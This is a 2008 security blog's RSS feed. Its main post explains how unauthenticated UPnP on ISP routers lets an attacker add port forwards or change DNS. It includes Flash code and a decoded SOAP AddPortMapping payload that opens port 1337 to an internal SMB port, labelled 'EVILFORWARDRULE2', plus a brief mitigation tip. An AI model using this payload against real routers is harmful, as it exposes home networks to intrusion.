<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	xmlns:georss="http://www.georss.org/georss" xmlns:geo="http://www.w3.org/2003/01/geo/wgs84_pos#" xmlns:media="http://search.yahoo.com/mrss/"
	>

<channel>
	<title>&#62;Hack the planet</title>
	<atom:link href="http://ebobox.wordpress.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://ebobox.wordpress.com</link>
	<description>french touch</description>
	<lastBuildDate>Wed, 24 Jun 2009 12:54:58 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.com/</generator>
<cloud domain='ebobox.wordpress.com' port='80' path='/?rsscloud=notify' registerProcedure='' protocol='http-post' />
<image>
		<url>http://s2.wp.com/i/buttonw-com.png</url>
		<title>&#62;Hack the planet</title>
		<link>http://ebobox.wordpress.com</link>
	</image>
	<atom:link rel="search" type="application/opensearchdescription+xml" href="http://ebobox.wordpress.com/osd.xml" title="&#62;Hack the planet" />
	<atom:link rel='hub' href='http://ebobox.wordpress.com/?pushpress=hub'/>
		<item>
		<title>A poisoned gift from your ISP</title>
		<link>http://ebobox.wordpress.com/2008/01/16/a-poisoned-gift-from-your-isp/</link>
		<comments>http://ebobox.wordpress.com/2008/01/16/a-poisoned-gift-from-your-isp/#comments</comments>
		<pubDate>Wed, 16 Jan 2008 22:57:01 +0000</pubDate>
		<dc:creator>ebobox</dc:creator>
				<category><![CDATA[network]]></category>
		<category><![CDATA[router]]></category>
		<category><![CDATA[SOAP]]></category>
		<category><![CDATA[upnp]]></category>

		<guid isPermaLink="false">http://ebobox.wordpress.com/2008/01/16/a-poisoned-gift-from-your-isp/</guid>
		<description><![CDATA[GNUCitizen posted a very interesting article about internet gateway security. Every ISP provides his own ADSL modem (in France : Livebox, Freebox, Alicebox, &#8230;) and uPnP is often enabled. uPnP is a set of protocols which tries to simplify the implementation of networks in the home. Devices and applications (such as MSN, eMule, &#8230;) use [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=ebobox.wordpress.com&amp;blog=2530183&amp;post=4&amp;subd=ebobox&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p><img src="http://ebobox.files.wordpress.com/2008/01/broadband-leaflet-eng.thumbnail.jpg?w=600" alt="Happy world" align="left" /><br />
<a href="http://www.gnucitizen.org/blog/hacking-the-interwebs">GNUCitizen</a> posted a very interesting article about internet gateway security.<br />
Every ISP provides his own ADSL modem (in France : Livebox, Freebox, Alicebox, &#8230;) and uPnP is often enabled. uPnP is a set of protocols which tries to simplify the implementation of networks in the home. Devices and applications (such as MSN, eMule, &#8230;) use that to configure your router without any human intervention. It depends on which service is provided by the Internet Gateway Device (IGD). See the <a href="http://www.upnp.org/standardizeddcps/igd.asp">specifications </a> for further details. <a href="http://noeld.com/programs.asp?cat=dstools" title="uPnPTest" target="_blank">Here</a> you can find a good tool to know more about your device.</p>
<p>I focus only on aspects which can lead to security issues. Mainly, uPnP can add a PortMapping, reset a connection,  or even change the DNS server.</p>
<p>Firstly, uPnP doesn&#8217;t need authentication to work. Yeah I know it&#8217;s amazing, you have to log on your gateway interface if you want to do some administration tasks and not if you use uPnP&#8230;<br />
As you understand yourself, if an attacker can change your DNS server, he can redirect your DNS requests to him and thus intercept your internet traffic,&#8230; In the same manner, he can add some port forwarding rules to expose your local network or your gateway interface. He can do that by using AddPortMapping action.</p>
<p>Arguments :<br />
<code>NewRemoteHost IN RemoteHost<br />
NewExternalPort IN ExternalPort<br />
NewProtocol IN PortMappingProtocol<br />
NewInternalPort IN InternalPort<br />
NewInternalClient IN InternalClient<br />
NewEnabled IN PortMappingEnabled<br />
NewPortMappingDescription IN PortMappingDescription<br />
NewLeaseDuration IN PortMappingLeaseDuration</code></p>
<p>But something more surprizing is that in the specification we can read that InternalClient have to be a string of the type “x.x.x.x”.<br />
If the router doesn&#8217;t check the NewInternalClient argument, we can put here any IP we want and specially an outside one. Thereby, an attacker can use that to proxify his own traffic toward a victim server (InternalClient).</p>
<p>Ok, I know that you are wondering how it is possible for an outsider attacker to do that as he can&#8217;t send his requests to internal address of the gateway (usually 192.168.0.1 or 192.168.1.1 or &#8230;). GNUCitizen demonstrates that you need to use an internal host to send your crafted requests. The stealthiest way is the use of Flash or an existing XSS vulnerability on your router.</p>
<p><i>Modified code from <a href="http://www.gnucitizen.org">GNUCitizen</a> (compile it with flex): </i><br />
<code><br />
private function onAppInit():<br />
{<br />
var r:URLRequest = new URLRequest('http://192.168.1.1:49152/upnp/control/WANIPConn1');<br />
r.method = 'POST';<br />
r.data = unescape('%3C%3Fxml%20version%3D%221.0%22%3F%3E%3CSOAP-ENV%3AEnvelope%20xmlns%3ASOAP-ENV<br />
%3D%22http%3A//schemas.xmlsoap.org/soap/envelope/%22%20SOAP-ENV%3AencodingStyle%3D%22http%3A//schema<br />
s.xmlsoap.org/soap/encoding/%22%3E%3CSOAP-ENV%3ABody%3E%3Cm%3AAddPortMapping%20xmlns%3Am%3D%22urn<br />
%3Aschemas-upnp-org%3Aservice%3AWANIPConnection%3A1%22%3E%3CNewRemoteHost%20xmlns%3Adt%3D%22urn<br />
%3Aschemas-microsoft-com%3Adatatypes%22%20dt%3Adt%3D%22string%22%3E%3C/NewRemoteHost%3E%3CNewExt<br />
ernalPort%20xmlns%3Adt%3D%22urn%3Aschemas-microsoft-com%3Adatatypes%22%20dt%3Adt%3D%22ui2%22%3E133<br />
7%3C/NewExternalPort%3E%3CNewProtocol%20xmlns%3Adt%3D%22urn%3Aschemas-microsoft-com%3Adatatypes%22<br />
%20dt%3Adt%3D%22string%22%3ETCP%3C/NewProtocol%3E%3CNewInternalPort%20xmlns%3Adt%3D%22urn%3Aschem<br />
as-microsoft-com%3Adatatypes%22%20dt%3Adt%3D%22ui2%22%3E445%3C/NewInternalPort%3E%3CNewInternalClient<br />
%20xmlns%3Adt%3D%22urn%3Aschemas-microsoft-com%3Adatatypes%22%20dt%3Adt%3D%22string%22%3E192.168.1<br />
.64%3C/NewInternalClient%3E%3CNewEnabled%20xmlns%3Adt%3D%22urn%3Aschemas-microsoft-com%3Adatatypes<br />
%22%20dt%3Adt%3D%22boolean%22%3E1%3C/NewEnabled%3E%3CNewPortMappingDescription%20xmlns%3Adt%3D%22<br />
urn%3Aschemas-microsoft-com%3Adatatypes%22%20dt%3Adt%3D%22string%22%3EEVILFORWARDRULE2%3C/NewPortMa<br />
ppingDescription%3E%3CNewLeaseDuration%20xmlns%3Adt%3D%22urn%3Aschemas-microsoft-com%3Adatatypes%22%20<br />
dt%3Adt%3D%22ui4%22%3E0%3C/NewLeaseDuration%3E%3C/m%3AAddPortMapping%3E%3C/SOAP-ENV%3ABody%3E%3C/<br />
SOAP-ENV%3AEnvelope%3E');<br />
r.contentType = 'text/xml';<br />
r.requestHeaders.push(new URLRequestHeader('SOAPAction', '"urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping"'));<br />
sendToURL(r);<br />
}</code></p>
<p>Let me show you the payload in a more comprehensible form :<br />
<code><br />
&lt;?xml version="1.0"?&gt;<br />
&lt;SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"&gt;<br />
&lt;SOAP-ENV:Body&gt;<br />
&lt;m:AddPortMapping xmlns:m="urn:schemas-upnp-org:service:WANIPConnection:1"&gt;<br />
&lt;NewRemoteHost xmlns:dt="urn:schemas-microsoft-com:datatypes" dt:dt="string"&gt;&lt;/NewRemoteHost&gt;<br />
&lt;NewExternalPort xmlns:dt="urn:schemas-microsoft-com:datatypes" dt:dt="ui2"&gt;1337&lt;/NewExternalPort&gt;<br />
&lt;NewProtocol xmlns:dt="urn:schemas-microsoft-com:datatypes" dt:dt="string"&gt;TCP&lt;/NewProtocol&gt;<br />
&lt;NewInternalPort xmlns:dt="urn:schemas-microsoft-com:datatypes" dt:dt="ui2"&gt;445&lt;/NewInternalPort&gt;<br />
&lt;NewInternalClient xmlns:dt="urn:schemas-microsoft-com:datatypes" dt:dt="string"&gt;192.168.1.64&lt;/NewInternalClient&gt;<br />
&lt;NewEnabled xmlns:dt="urn:schemas-microsoft-com:datatypes" dt:dt="boolean"&gt;1&lt;/NewEnabled&gt;<br />
&lt;NewPortMappingDescription xmlns:dt="urn:schemas-microsoft-com:datatypes" dt:dt="string"&gt;EVILFORWARDRULE2&lt;/NewPortMappingDescription&gt;<br />
&lt;NewLeaseDuration xmlns:dt="urn:schemas-microsoft-com:datatypes" dt:dt="ui4"&gt;0&lt;/NewLeaseDuration&gt;<br />
&lt;/m:AddPortMapping&gt;<br />
&lt;/SOAP-ENV:Body&gt;<br />
&lt;/SOAP-ENV:Envelope&gt;<br />
</code><br />
A good way to prevent a remote exploitation is to randomize the port used to send your uPnP request at each router startup (such as LiveBox Pro).</p>
<p>A very good paper : <a href="http://www.upnp-hacks.org/sane2006-paper.pdf">SANE 2006</a></p>
<p><a href="http://www.dotsafe.fr/">DotSafe sécurité informatique à Bordeaux</a></p>
<br /><img alt="" border="0" src="http://feeds.wordpress.com/1.0/categories/ebobox.wordpress.com/4/" /> <img alt="" border="0" src="http://feeds.wordpress.com/1.0/tags/ebobox.wordpress.com/4/" /> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/ebobox.wordpress.com/4/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/ebobox.wordpress.com/4/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/ebobox.wordpress.com/4/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/ebobox.wordpress.com/4/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/ebobox.wordpress.com/4/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/ebobox.wordpress.com/4/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/ebobox.wordpress.com/4/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/ebobox.wordpress.com/4/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/ebobox.wordpress.com/4/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/ebobox.wordpress.com/4/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/ebobox.wordpress.com/4/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/ebobox.wordpress.com/4/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/ebobox.wordpress.com/4/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/ebobox.wordpress.com/4/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=ebobox.wordpress.com&amp;blog=2530183&amp;post=4&amp;subd=ebobox&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://ebobox.wordpress.com/2008/01/16/a-poisoned-gift-from-your-isp/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/acebdcd5be93ad802de61a0626e9c61e?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">ebo</media:title>
		</media:content>

		<media:content url="http://ebobox.files.wordpress.com/2008/01/broadband-leaflet-eng.thumbnail.jpg" medium="image">
			<media:title type="html">Happy world</media:title>
		</media:content>
	</item>
		<item>
		<title>Hello world!</title>
		<link>http://ebobox.wordpress.com/2008/01/15/hello-world/</link>
		<comments>http://ebobox.wordpress.com/2008/01/15/hello-world/#comments</comments>
		<pubDate>Tue, 15 Jan 2008 21:40:31 +0000</pubDate>
		<dc:creator>ebobox</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[Thanks to a lot of hacker/blogger addicted, I feel the need to express my modest opinion about computer security issues. Please forgive me in advance for my pretty bad spelling/grammar/…, I choose to write in English in order to be as comprehensible as possible for as many as possible. Thank you for reading ! free [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=ebobox.wordpress.com&amp;blog=2530183&amp;post=1&amp;subd=ebobox&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>Thanks to a lot of hacker/blogger addicted, I feel the need to express my modest opinion about computer security issues. Please forgive me in advance for my pretty bad spelling/grammar/…, I choose to write in English in order to be as comprehensible as possible for as many as possible.</p>
<p>Thank you for reading !</p>
<p><a href="http://arnaud.labenne.free.fr/">free page perso</a></p>
<br /><img alt="" border="0" src="http://feeds.wordpress.com/1.0/categories/ebobox.wordpress.com/1/" /> <img alt="" border="0" src="http://feeds.wordpress.com/1.0/tags/ebobox.wordpress.com/1/" /> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/ebobox.wordpress.com/1/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/ebobox.wordpress.com/1/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/ebobox.wordpress.com/1/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/ebobox.wordpress.com/1/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/ebobox.wordpress.com/1/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/ebobox.wordpress.com/1/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/ebobox.wordpress.com/1/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/ebobox.wordpress.com/1/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/ebobox.wordpress.com/1/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/ebobox.wordpress.com/1/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/ebobox.wordpress.com/1/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/ebobox.wordpress.com/1/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/ebobox.wordpress.com/1/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/ebobox.wordpress.com/1/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=ebobox.wordpress.com&amp;blog=2530183&amp;post=1&amp;subd=ebobox&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://ebobox.wordpress.com/2008/01/15/hello-world/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/acebdcd5be93ad802de61a0626e9c61e?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">ebo</media:title>
		</media:content>
	</item>
	</channel>
</rss>
